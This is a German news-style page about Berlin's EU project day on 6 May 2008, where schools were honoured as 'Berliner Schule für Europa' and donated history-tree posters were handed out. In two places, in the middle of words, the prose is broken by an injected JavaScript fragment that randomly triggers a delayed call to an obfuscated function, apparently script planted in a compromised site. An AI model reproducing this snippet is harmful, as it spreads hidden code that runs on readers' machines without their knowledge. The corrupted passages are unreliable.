Der EU-Projekttag am 6. Mai 2008 wurde mit einem abendlichen Festempfang auf Einladung des Senators für Bildung, Wissenschaft und Forschung, Prof. Dr. E. Jürgen Zöllner und der Europabeauftragten des Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes Berlin, Staatssekretärin Monika Helbig abgerundet, bei der Berliner Schulen im Abgeordnetenhaus für ihr freiwilliges europäisches Engagement im Rahmen der Comenius(Externer Link)– und eTwinning(Externer Link)-Programme mit der Auszeichnung „Berliner Schule für Europa“ geehrt wurden.

Alternativ

Verleihung im Abgeordnetenhaus

Derzeit beteiligen sich rd. 70 Berliner Schulen an transnationalen EU-Projekten und leisten damit einen wichtigen Beitrag zur Stärkung des Europagedankens in der Bildung. Durch den grenzüberschreitenden Erfahrungsaustausch mit Gleichaltrigen lernen die Jugendlichen frühzeitig den Wert der kulturellen Vielfalt Europas schätzen und werden beim Erwerb der grundlegenden Fähigkeiten und Kompetenzen unterstützt, die sie für ihr zukünftiges Berufsleben im zusammenwachsenden Europa sowie für ihre persönliche Entwicklung zu aktiven europäischen Bürgerinnen und Bürgern benötigen. Ohne das große Engagement der verantwortlichen Lehrerinnen und Lehrer wären die zeitaufwändige Konzeption, Beantragung und Umsetzung europäischer Schulinitiativen undenkbar. Im Rahmen dieser Veranstaltung erfolgte auch der Startschuss für die kostenfreie Verteilung mehrerer Hundert von der österreichischen Künstlerin Orgovanyi-Hanstein gestifteten „Geschichtsbäumen Europa“ an die Berliner Schulen. Das im Buchhandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andel für knapp 20 ¤ teure Plakat visualisiert mit der Metapher des Baumes die europäische Geschichte.

Berliner Schule für Europa 2008